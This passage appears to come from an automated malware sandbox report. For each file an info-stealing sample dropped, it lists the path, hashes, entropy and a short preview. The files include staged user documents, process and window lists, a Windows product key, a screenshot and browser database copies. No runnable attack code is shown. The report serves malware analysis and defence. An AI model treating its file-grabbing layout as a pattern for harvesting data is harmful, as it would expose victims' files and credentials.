Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Downloads\TQDFJHPUIU.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Downloads\ZIPXYXWIOY.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697427014915338
Encrypted:	false
SSDEEP:	24:J87vGcgdreYqco0NFLg5eIatTFj9qVUq2Z:J83gAYq8NFRtx7Z
MD5:	2D7ACA56B5F340F28DD1D2B46D700BA6
SHA1:	3966684FF029665614B8DC948349178FB9E8C078
SHA-256:	B227E5E45D28AC063349BC70CC01A3F6DB15C101432A8609E0202064F7E5936D
SHA-512:	D4BFC2BB839DAEBAE8C894A0B8EB2314D2BE0304C82EB89BE16D6C820874952534CE0D93AE62EEF3DD2BE8A4D1E828B883E50BD204D04624AB945119D2FAB4F0
Malicious:	false
Preview:	ZIPXYXWIOYFFJDUIEBFLHIUBYNNMJGYPFQONGOLQHGMFRFYQGSVGNDSCQJYWDCIKWJWNYHFUEMJVEPAFIPAROVFAVARCOHESRJKUIUYDXNZOERBEQGHQNKYMVMEEMKKKEYXXPAKWYGCIXNFSVDOOEUTNGSDXMYEZKQTRDCZXZXIFSRMNAEPZWJKKYULUPGZCQORNOJBGAAOPLYNJCPFWSASJWTLALTQZLWOGFWQVOXGYBCMNEBDESHLNZZBETDIGNLTNPZEPEQAMYCNYWEKKQKDVZPNYLWAFZIPSSVNHOPUMIBTFXVVCNCPUSOKETVBDNZLCRKBRLGSHFSQLECHUOWGFFEMDWHASNSMAXKZZMDLZVQLADFBDUCCIJERQXKRXUCTKGDGKPESHHXUPKZSGNKOITMVITFCBELJVTCKENQCMCJEDZJDQDSKAYFGQEYICXDUOIJRYIMVXRKNBYXQEHUHYSPGEDSJBOQNXHFTSSRTPOXDVFXEPQUGWNEAKZJOKYPEYKXMOMKTKOBVISHMUGELPJCXBYNEXOAWOXHSEELVSCFMZYAMOLTGIWURMTZTRNGMWQZBRQHAIXVJIAFPZGWJZIOQLOAXJSGKMZNZCAVJWFGUFMQWQICMPVNAYRUHAMQLWLJMBERSFPEZHMNVAZFQAJEGYJQOMQWFTQVXZYTDPYVGZZPSNSOJWWKZDRPZKGTXYSENWOIQFXDIRWPJEYALOOEYQPHOPKSIZFNHPOXOKSTDVPNBSCDDKPOUVXMFBUNBMEUYGOSYMHMUNKKADTAEIUEMXYPOPMUVBHTBVKYAHHJXFUJPFZJZARAFLARBIWKXMNKXJLVBLJSZYYVIBZHROONQENYZGGMMETTMOFHCCQNUHPDEUTVVGUDBCKVXVUMRWPGZIPPUXJEJQIEQWLBUQBUODMWPSBFOYIQZWMYWPHWSKTRCKCRXWZUOTDTDRLLUSSQZXZZEATFSHBUWQUYHDLRMVVWFCPAZNSBXA

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Downloads\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5191090305155277
Encrypted:	false
SSDEEP:	6:QyqRsioTA5wmHOlRaQmZWGokJqAMhAlt4DAlLwkAl2FlRaQmZWGokJISlVl9:QZsiL5wmHOlDmo0qmt4clLwr2FlDmo0d
MD5:	3A37312509712D4E12D27240137FF377
SHA1:	30CED927E23B584725CF16351394175A6D2A9577
SHA-256:	B029393EA7B7CF644FB1C9F984F57C1980077562EE2E15D0FFD049C4C48098D3
SHA-512:	DBB9ABE70F8A781D141A71651A62A3A743C71A75A8305E9D23AF92F7307FB639DC4A85499115885E2A781B040CBB7613F582544C2D6DE521E588531E9C294B05
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.4.....

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Pictures\Camera Roll\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl6nM:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOy
MD5:	D48FCE44E0F298E5DB52FD5894502727
SHA1:	FCE1E65756138A3CA4EAAF8F7642867205B44897
SHA-256:	231A08CABA1F9BA9F14BD3E46834288F3C351079FCEDDA15E391B724AC0C7EA8
SHA-512:	A1C0378DB4E6DAC9A8638586F6797BAD877769D76334B976779CD90324029D755FB466260EF27BD1E7F9FDF97696CD8CD1318377970A1B5BF340EFB12A4FEB4A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.2.1.8.2.4.....

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Pictures\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.514398793376306
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmalDmo0qmN4clLwr2FlDmo0IWFSklrgl2FlDmo0qjKA1:QCGwv4o0u4o0RhlLwiF4o0HUsF4o01A1
MD5:	29EAE335B77F438E05594D86A6CA22FF
SHA1:	D62CCC830C249DE6B6532381B4C16A5F17F95D89
SHA-256:	88856962CEF670C087EDA4E07D8F78465BEEABB6143B96BD90F884A80AF925B4
SHA-512:	5D2D05403B39675B9A751C8EED4F86BE58CB12431AFEC56946581CB116B9AE1014AB9334082740BE5B4DE4A25E190FE76DE071EF1B9074186781477919EB3C17
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.9.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.3.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.6.....

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\System\Process.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4623
Entropy (8bit):	5.412012014256533
Encrypted:	false
SSDEEP:	48:k44ie0iVd8brABNWEzX1iEiAi7iQiL9Itc6Ui8oztD:k4LevQbrABNLzXs/j+zL9Itc0ZtD
MD5:	6935EEDB69F4FBF8CA494B4DC56DEE8C
SHA1:	C8BD3C612718AD41152FC3ADBA572EB237FE3F83
SHA-256:	73A9E28917710AB3EB30E0B7EA676F98723E9B5B25B3D641CB61CB6D5C1026DD
SHA-512:	CE30F18FA9FAA1E1543FD6FE67CC834D2E9ACF53C5185C16B29B7D79E7C8A5F4CBB6AB7EBF8CA8C80E2885FBBC8F457EF72A756F2B3A606EA16FC44E22F7E9BD
Malicious:	false
Preview:	NAME: csrss..PID: 392..EXE: ..NAME: dllhost..PID: 3936..EXE: C:\Windows\system32\DllHost.exe..NAME: dwm..PID: 980..EXE: C:\Windows\system32\dwm.exe..NAME: svchost..PID: 1596..EXE: C:\Windows\System32\svchost.exe..NAME: svchost..PID: 1320..EXE: c:\windows\system32\svchost.exe..NAME: svchost..PID: 332..EXE: c:\windows\system32\svchost.exe..NAME: svchost..PID: 2352..EXE: c:\windows\system32\svchost.exe..NAME: pNsOxgAzolkPUYAmkt..PID: 5504..EXE: C:\Program Files (x86)\XFlIwTcBTfKfYniMApqoktQlAkkIInxBCombFRiozcBJPC\pNsOxgAzolkPUYAmkt.exe..NAME: svchost..PID: 1956..EXE: c:\windows\system32\svchost.exe..NAME: svchost..PID: 2940..EXE: c:\windows\system32\svchost.exe..NAME: explorer..PID: 3528..EXE: C:\Windows\Explorer.EXE..NAME: svchost..PID: 1756..EXE: c:\windows\system32\svchost.exe..NAME: svchost..PID: 1164..EXE: c:\windows\system32\svchost.exe..NAME: svchost..PID: 2540..EXE: c:\windows\system32\svchost.exe..NAME: WmiPrvSE..PID: 1172..EXE: C:\Windows\sysWOW64\wbem\wmiprvse.exe..NAME: sihost

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\System\ProductKey.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.8143719431796277
Encrypted:	false
SSDEEP:	3:TIeIjx:Efx
MD5:	56A13771299F86161312460F5BB51777
SHA1:	1ACA6A2BD3E2C951A8077A6D81BC786A4E230381
SHA-256:	E27C1F3D398E024032E98FC7C436E2B55DB562E728DBC57A56719E2D08D9F0B3
SHA-512:	E836DF20570BCCEBF5DD702216461CD6106526727CE9F2F7A5367D8CFBB3588AAFF1C3377F6D2A74042B81FDD16B60A3A76A563A54551BE74038CFF9BD9F56BB
Malicious:	false
Preview:	PJN2P-77MR8-86D3J-GJ7RK-FKVG8

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\System\ScanningNetworks.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	84
Entropy (8bit):	4.6630509827051725
Encrypted:	false
SSDEEP:	3:PHsEiVboFkaQXMtS1ME/M2en:PsEwYVQXOS1TUn
MD5:	58CD2334CFC77DB470202487D5034610
SHA1:	61FA242465F53C9E64B3752FE76B2ADCCEB1F237
SHA-256:	59B3120C5CE1A7D1819510272A927E1C8F1C95385213FCCBCDD429FF3492040D
SHA-512:	C8F52D85EC99177C722527C306A64BA61ADC3AD3A5FEC6D87749FBAD12DA424BA6B34880AB9DA627FB183412875F241E1C1864D723E62130281E44C14AD1481E
Malicious:	false
Preview:	Active code page: 65001..The Wireless AutoConfig Service (wlansvc) is not running...

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\System\Windows.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1661
Entropy (8bit):	5.495153464820181
Encrypted:	false
SSDEEP:	24:eZLw9fmvdLw9fmvFhLw9fmvkLw9fmveLw9fmvhLw9fmv+Lw9fmvLLw9fmvqLw9f2:+i0iS1ifiRi0i1iqihipHiiip
MD5:	4ABD725603FF25E19DEA1518B1E3CABC
SHA1:	BFECB05D09B113447AA1D419EC42F8E83764BE20
SHA-256:	3238E3FBC5A3B1EE36CEB88B422357F8D20BE191314EF74DCA02770327940C76
SHA-512:	D25493E0BDC9A667F9E19AE24B526BD73182849D9471655E1FEF30B0BB19DE356606FF3F97048079AE6D8CA50829B4B501768FCA53A86517C986D045F0E99AB0
Malicious:	false
Preview:	NAME: pNsOxgAzolkPUYAmkt..TITLE: Chrome..PID: 5504..EXE: C:\Program Files (x86)\XFlIwTcBTfKfYniMApqoktQlAkkIInxBCombFRiozcBJPC\pNsOxgAzolkPUYAmkt.exe..NAME: pNsOxgAzolkPUYAmkt..TITLE: Chrome..PID: 5492..EXE: C:\Program Files (x86)\XFlIwTcBTfKfYniMApqoktQlAkkIInxBCombFRiozcBJPC\pNsOxgAzolkPUYAmkt.exe..NAME: pNsOxgAzolkPUYAmkt..TITLE: Chrome..PID: 5472..EXE: C:\Program Files (x86)\XFlIwTcBTfKfYniMApqoktQlAkkIInxBCombFRiozcBJPC\pNsOxgAzolkPUYAmkt.exe..NAME: pNsOxgAzolkPUYAmkt..TITLE: Chrome..PID: 5464..EXE: C:\Program Files (x86)\XFlIwTcBTfKfYniMApqoktQlAkkIInxBCombFRiozcBJPC\pNsOxgAzolkPUYAmkt.exe..NAME: pNsOxgAzolkPUYAmkt..TITLE: Chrome..PID: 5512..EXE: C:\Program Files (x86)\XFlIwTcBTfKfYniMApqoktQlAkkIInxBCombFRiozcBJPC\pNsOxgAzolkPUYAmkt.exe..NAME: pNsOxgAzolkPUYAmkt..TITLE: Chrome..PID: 5544..EXE: C:\Program Files (x86)\XFlIwTcBTfKfYniMApqoktQlAkkIInxBCombFRiozcBJPC\pNsOxgAzolkPUYAmkt.exe..NAME: pNsOxgAzolkPUYAmkt..TITLE: Chrome..PID: 5480..EXE: C:\Program Files (x86)\XFlIwTcBTfKfYn

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\System\WorldWind.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	93152
Entropy (8bit):	7.900838150661051
Encrypted:	false
SSDEEP:	1536:CsID1OvAqabzrH2WhUEiEAyGnS8nQbkNqjPsEWXqAC76CQhiVxp6lBibY:HvAqSzjJhMhnUkcETXqAXKcL
MD5:	68CD9E0D6690B3930388CA60DA39D6F4
SHA1:	95712F490F6EBD66FAC2B8FD959A05B5EB1F63E9
SHA-256:	3670D6CDCACE05837F9A43AD48959F0E5F64A58779419145D309C8A903636284
SHA-512:	DF4048E6C70D67F6E2EE7AB6C5A77EBE6E47C43898E5AD3F0CD42B2BE2EC3DE3AE5A7087FC6DD25494C5F2AA9EE62CAEDF7CA010D9C73B4133AD81996D9D84A0
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..01KK...lq\....xcS.m..#Hm.....T......<!...wq5...v1.?S.....rHj-.U:...5............\|..+.......}...<.>...H.......Wo.CK`/l.1./...C...W.....,1....R.0.W......qco;.\..%r........H.'.\|..)..m..e#..N.}5y._.pY\L.w[....r....%.......5...L..S....CN5b..6..>.... ZJ(.........'......o....;%....&.D.......L.*...)............H..y.C$...................M=.>g.......&.......N

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\msgid.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Temp\Rnts.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\RunIt.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	146944
Entropy (8bit):	6.481973623447977
Encrypted:	false
SSDEEP:	3072:iRjfP1ppKWaZK0fr1klb4lrpTP/NaLz+pMuWDxCcfguuy8:GjP/MWafrhrpTP/NaLz+pMuWFCuKy
MD5:	D067619856F7F3079375960F62B99369
SHA1:	964D548557DEC3AA8E851526B71ADCA4B4DDBFD5
SHA-256:	9770561D2A27DBC16C230FE88AF51F718D7D6274FCD63A3F109C381BE848B4A9
SHA-512:	1EC891082AC133833217CE8314F6D163451C5554B789CBF8A5FF0D5EBD0B55A7EC49EA5C408BF784E6952A37526DE9E77E6C39B9A4EA3B950C3FDA44E7F973B8
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 73%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...'X.c.........."...P..4...........R... ...`....@.. ....................................`..................................Q..W....`...............................Q............................................... ............... ..H............text...42... ...4.................. ..`.rsrc........`.......6..............@..@.reloc...............<..............@..B.................R......H..................._... ...p...............................................0..0............t(.... cT.Q("...%. ....^E.......8...l...........V...&...M...........:...........................-...................P...................b.......E...2...,...k...f...L...................[...............S...'...........N...+...........I...2.......W...............Z...................+...1...............................x...+...e...).......'...........#...............g....................

C:\Users\user\AppData\Local\Temp\RunIt.exe

Download File

Process:	C:\Users\user\Desktop\3ZCSmfAvnf.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	146944
Entropy (8bit):	6.481973623447977
Encrypted:	false
SSDEEP:	3072:iRjfP1ppKWaZK0fr1klb4lrpTP/NaLz+pMuWDxCcfguuy8:GjP/MWafrhrpTP/NaLz+pMuWFCuKy
MD5:	D067619856F7F3079375960F62B99369
SHA1:	964D548557DEC3AA8E851526B71ADCA4B4DDBFD5
SHA-256:	9770561D2A27DBC16C230FE88AF51F718D7D6274FCD63A3F109C381BE848B4A9
SHA-512:	1EC891082AC133833217CE8314F6D163451C5554B789CBF8A5FF0D5EBD0B55A7EC49EA5C408BF784E6952A37526DE9E77E6C39B9A4EA3B950C3FDA44E7F973B8
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 73%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...'X.c.........."...P..4...........R... ...`....@.. ....................................`..................................Q..W....`...............................Q............................................... ............... ..H............text...42... ...4.................. ..`.rsrc........`.......6..............@..@.reloc...............<..............@..B.................R......H..................._... ...p...............................................0..0............t(.... cT.Q("...%. ....^E.......8...l...........V...&...M...........:...........................-...................P...................b.......E...2...,...k...f...L...................[...............S...'...........N...+...........I...2.......W...............Z...................+...1...............................x...+...e...).......'...........#...............g....................

C:\Users\user\AppData\Local\Temp\tmpCC23.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.2880737026424216
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJPQ6YVucbj8Ewn7PrH944:QS/inojVucbj8Ewn7b944
MD5:	5F02C426BCF0D3E3DC81F002F9125663
SHA1:	EA50920666E30250E4BE05194FA7B3F44967BE94
SHA-256:	DF93CD763CFEC79473D0DCF58C77D45C99D246CE347652BF215A97D8D1267EFA
SHA-512:	53EFE8F752484B48C39E1ABFBA05840FF2B968DE2BCAE16287877F69BABE8C54617E76C6953A22789043E27C9CCA9DB4FED5D2C2A512CBDDB5015F4CAB57C198
Malicious:	false
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCF41.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 2, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7876734657715041
Encrypted:	false
SSDEEP:	48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
MD5:	CF7758A2FF4A94A5D589DEBAED38F82E
SHA1:	D3380E70D0CAEB9AD78D14DD970EA480E08232B8
SHA-256:	6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
SHA-512:	1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCF71.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 4, database pages 36, 1st free page 10, free pages 1, cookie 0x29, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	147456
Entropy (8bit):	0.47889536469736377
Encrypted:	false
SSDEEP:	96:MHVdU+bb3HDsX0ctSOaDN6tOVjN9DLjGQLBE3u:YVK+H3HDi9GN6IVj3XBBE3u
MD5:	D6648BE90F0B2A39C26D60D499E5EB03
SHA1:	69D2F56BBA9264621C0779F5D74B356C3794AFF0
SHA-256:	E26A78FA6C8A1C60B67536CCB9A620F69FF4588F50F7F3956E14E438C6E5F9D6
SHA-512:	BEF8A8D7391D16444B6347C1F2E07037EE1DF67652910551133919EF59F44C94636971BF602D93087D628A6E38DDF0929CF4C824994B35E6C2376B0B55AD4974
Malicious:	false
Preview:	SQLite format 3......@ .......$...........)......................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD03D.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 4, database pages 36, 1st free page 10, free pages 1, cookie 0x29, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	147456
Entropy (8bit):	0.47889536469736377
Encrypted:	false
SSDEEP:	96:MHVdU+bb3HDsX0ctSOaDN6tOVjN9DLjGQLBE3u:YVK+H3HDi9GN6IVj3XBBE3u
MD5:	D6648BE90F0B2A39C26D60D499E5EB03
SHA1:	69D2F56BBA9264621C0779F5D74B356C3794AFF0
SHA-256:	E26A78FA6C8A1C60B67536CCB9A620F69FF4588F50F7F3956E14E438C6E5F9D6
SHA-512:	BEF8A8D7391D16444B6347C1F2E07037EE1DF67652910551133919EF59F44C94636971BF602D93087D628A6E38DDF0929CF4C824994B35E6C2376B0B55AD4974
Malicious:	false
Preview:	SQLite format 3......@ .......$...........)......................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD06D.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.2880737026424216
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJPQ6YVucbj8Ewn7PrH944:QS/inojVucbj8Ewn7b944
MD5:	5F02C426BCF0D3E3DC81F002F9125663
SHA1:	EA50920666E30250E4BE05194FA7B3F44967BE94
SHA-256:	DF93CD763CFEC79473D0DCF58C77D45C99D246CE347652BF215A97D8D1267EFA
